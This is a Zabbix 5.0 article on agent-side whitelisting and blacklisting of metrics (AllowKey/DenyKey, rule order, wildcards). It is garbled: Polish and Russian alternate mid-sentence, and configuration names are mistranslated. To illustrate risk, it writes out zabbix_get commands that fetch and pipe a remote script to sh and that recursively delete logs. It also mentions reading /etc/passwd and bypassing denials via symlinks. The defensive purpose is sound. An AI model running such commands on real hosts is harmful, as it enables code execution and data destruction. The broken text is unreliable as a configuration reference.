Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Obsługa czarnych i białych list metryk po stronie agenta

Tichon Uskow, Inżynier ds. integracji, Zabbix

Kwestie bezpieczeństwa danych

В Zabbix 5.0 появилась новая функция, которая позволяет улучшить безопасность в системах с использованием Zabbix Agent и заменяет старый параметр Włącz polecenia zdalne.

Poprawa bezpieczeństwa systemów agentowych wynika z faktu, że agent może wykonywać dużą liczbę potencjalnie niebezpiecznych działań.

  • Агент может собирать практически любую информацию, в том числе конфиденциального или потенциально опасного характера, из файлов конфигурации, файлов логов, файлов с паролями или любых других файлов.

Na przykład za pomocą narzędzia zabbix_get możesz uzyskać dostęp do listy użytkowników, ich katalogów domowych, plików haseł itp.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Доступ к данным с помощью утилиты zabbix_get

UWAGA. Данные могут быть получены, только если агент имеет права на чтение соответствующего файла. Ale na przykład plik /etc/passwd/ czytelny dla wszystkich użytkowników.

  • Agent może także wykonywać potencjalnie niebezpieczne polecenia. Na przykład klucz *system.run[]** umożliwia zdalne wykonywanie dowolnych poleceń na węzłach sieci, w tym uruchamianie skryptów z interfejsu sieciowego Zabbix, które wykonują również polecenia po stronie agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • W systemie Linux agent domyślnie działa bez uprawnień roota, natomiast w systemie Windows działa jako usługa jako System i ma nieograniczony dostęp do systemu plików. Odpowiednio, jeśli po instalacji nie zostaną wprowadzone żadne zmiany w parametrach Agenta Zabbix, agent będzie miał dostęp do rejestru, systemu plików i może wykonywać zapytania WMI.

В более ранних версиях параметр WłączRemoteCommands=0 dozwolone jest jedynie wyłączanie metryk za pomocą klawisza *system.run[]** i uruchamianie skryptów z interfejsu WWW, ale nie było możliwości ograniczenia dostępu do poszczególnych plików, zezwolenia lub wyłączenia poszczególnych kluczy, które zostały zainstalowane z agentem, ani ograniczenia użycia poszczególnych parametrów.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Использование параметра EnableRemoteCommand в ранних версиях Zabbix

Zezwól na klucz/Odmów klucz

Zabbix 5.0 помогает защититься от такого несанкционированного доступа благодаря белым и черным спискам для разрешения и запрета метрик на стороне агента.

W Zabbix 5.0 wszystkie klawisze, w tym *system.run[]** są włączone i dodano dwie nowe opcje konfiguracji agenta:

Zezwól na klucz = — dozwolone kontrole;

OdmówKlucz= — zabronione kontrole;

gdzie jest wzorcem nazwy klucza z parametrami używającymi metaznaków (*).

Ключи AllowKey и DenyKey позволяют разрешить или запретить отдельные метрики по определенному шаблону. В отличие от других параметров конфигурации количество параметров AllowKey/DenyKey не ограничено. Это позволяет четко определить, что именно агент может делать в системе благодаря созданию дерева проверок — выполняемых ключей, где очень важную роль играет порядок их написания.

Sekwencja zasad

Reguły sprawdzane są w kolejności w jakiej zostały wprowadzone do pliku konfiguracyjnego. Klucz jest sprawdzany zgodnie z zasadami przed pierwszym dopasowaniem i gdy tylko klucz elementu danych pasuje do wzorca, zostaje dopuszczony lub odrzucony. Następnie sprawdzanie reguł zostaje zatrzymane, a pozostałe klucze są ignorowane.

Dlatego też, jeśli element pasuje zarówno do reguły zezwalającej, jak i odrzucającej, wynik będzie zależał od tego, która reguła jest pierwsza w pliku konfiguracyjnym.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

2 różne reguły z tym samym wzorem i kluczem vfs.file.size[/tmp/file]

Kolejność używania kluczyAllowKey/DenyKey:

  1. dokładne zasady,
  2. Główne zasady,
  3. запрещающее правило.

Например, если вам необходим доступ к файлам в определенной папке, необходимо сначала разрешить доступ к ним, после чего запретить все остальное, что не попадает под установленные разрешения. Если в первую очередь будет использовано запрещающее правило, доступ к папке будет запрещен.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Prawidłowa kolejność

Jeśli chcesz zezwolić na działanie 2 narzędzi przez *system.run[]**, и в первую очередь будет указано запрещающее правило, утилиты запускаться не будут, потому что первый паттерн будет всегда соответствовать любому ключу, и последующие правила будут игнорироваться.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Nieprawidłowa sekwencja

Wzory

Podstawowe zasady

Wzorzec jest wyrażeniem zawierającym symbole wieloznaczne. Metaznak (*) dopasowuje dowolną liczbę dowolnych znaków na określonej pozycji. Metaznaków można używać zarówno w nazwie klucza, jak iw parametrach. Można na przykład ściśle zdefiniować pierwszy parametr za pomocą tekstu, i określ kolejny jako symbol wieloznaczny.

Параметры должны быть заключены в квадратные скобки [].

  • system.run[* - zło
  • vfs.file*.txt] - zło
  • vfs.file.*[*] - Prawidłowy

Примеры использования wildcard.

  1. В имени ключа и в параметре. В данном случае ключ не соответствует аналогичному ключу, который не содержит параметр, поскольку в паттерне мы указали, что хотим получить некое окончание имени ключа и некий набор параметров.
  2. Jeśli wzorzec nie używa nawiasów kwadratowych, wzorzec dopuszcza wszystkie klucze niezawierające parametrów i odrzuca wszystkie klucze zawierające określony parametr.
  3. Jeśli klucz jest zapisany w całości, a parametry są określone jako symbol wieloznaczny, dopasuje on dowolny podobny klucz z dowolnymi parametrami i nie będzie pasował do klucza bez nawiasów kwadratowych, czyli będzie dozwolony lub zabroniony.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zasady wypełniania parametrów.

  • Jeżeli ma być używany klucz z parametrami, parametry muszą być określone w pliku konfiguracyjnym. Parametry muszą być określone jako metaznak. Należy ostrożnie odmówić dostępu do dowolnego pliku i wziąć pod uwagę, jakie informacje może dostarczyć metryka przy różnej pisowni - z parametrami i bez.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Funkcje pisania kluczy z parametrami

  • Jeśli klucz jest określony z parametrami, ale parametry są opcjonalne i określone jako metaznak, zostanie rozwiązany klucz bez parametrów. Przykładowo, jeśli chcesz wyłączyć otrzymywanie informacji o obciążeniu procesora i określić, że klucz system.cpu.load[*] powinien być wyłączony, nie zapominaj, że klucz bez parametrów zwróci średnią wartość obciążenia.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Правила заполнения параметров

Uwagi

regulacja

  • Некоторые правила не могут быть изменены пользователем, например, правила обнаружения (discovery) или авторегистрации агентов. Правила AllowKey/DenyKey не затрагивают следующие параметры:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

UWAGA. Jeśli administrator wyłączy klucz, po zapytaniu Zabbix nie dostarczy informacji o tym, dlaczego metryka lub klucz należy do kategorii „NIEOBSŁUGIWANY'. Informacje o zakazach wykonywania poleceń zdalnych również nie są wyświetlane w plikach dziennika agenta. Dzieje się tak ze względów bezpieczeństwa, ale może skomplikować debugowanie, jeśli z jakiegoś powodu metryki należą do nieobsługiwanej kategorii.

  • Nie należy polegać na żadnej określonej kolejności podłączania zewnętrznych plików konfiguracyjnych (na przykład w kolejności alfabetycznej).

Narzędzia wiersza poleceń

После настройки правил необходимо удостовериться, что все настроено верно.

Możesz skorzystać z jednej z trzech opcji:

  • Dodaj metrykę do Zabbix.
  • Przetestuj z zabbix_agentd. Agent Zabbix z opcją -drukuj (-p) показывает все ключи (которые разрешены по умолчанию), кроме тех, которые не разрешены конфигурацией. А с опцией -test (-t) dla zabronionego klucza zwróci 'Nieobsługiwany klucz elementu".
  • Przetestuj z zabbix_get. Pożytek zabbix_get z opcją -k wróci 'ZBX_NOTSUPPORTED: Nieznana metryka".

Разрешать или запрещать

Możesz odmówić dostępu do pliku i zweryfikować go np. za pomocą narzędzia zabbix_getże dostęp do pliku został odrzucony.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

**

UWAGA. Cytaty w parametrze są ignorowane.

W takim przypadku dostęp do takiego pliku może być umożliwiony inną ścieżką. Na przykład, jeśli prowadzi do niego dowiązanie symboliczne.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Warto sprawdzić różne możliwości stosowania określonych zasad, a także wziąć pod uwagę możliwości obejścia zakazów.

Pytania i odpowiedzi

pytanie. Почему для описания правил, разрешений и запретов выбрана такая сложная схема паттерна со своим языком? Почему не было возможности воспользоваться, например, регулярными выражениями, которые использует Zabbix?

odpowiedź. Jest to problem z wydajnością wyrażenia regularnego, ponieważ zwykle jest tylko jeden agent, który sprawdza ogromną liczbę metryk. Regex to dość skomplikowana operacja i nie możemy w ten sposób sprawdzić tysięcy metryk. Symbole wieloznaczne - uniwersalne, powszechnie stosowane i proste rozwiązanie.

pytanie. Czy pliki Dołącz nie są zawarte w kolejności alfabetycznej?

odpowiedź. Насколько мне известно, предсказать последовательность применения правил, если вы разносите правила по разным файлам, фактически невозможно. Я рекомендую собрать все правила AllowKey/DenyKey в одном файле Include, потому что они взаимодействуют друг с другом, и подключать этот файл.

pytanie. W Zabbix 5.0 opcja 'WłączRemoteCommands=‘ в конфигурационном файле отсутствует, и доступны только AllowKey/DenyKey?

Odpowiedź. tak to prawda.

Dziękuję za uwagę!

Źródło: www.habr.com

Dodaj komentarz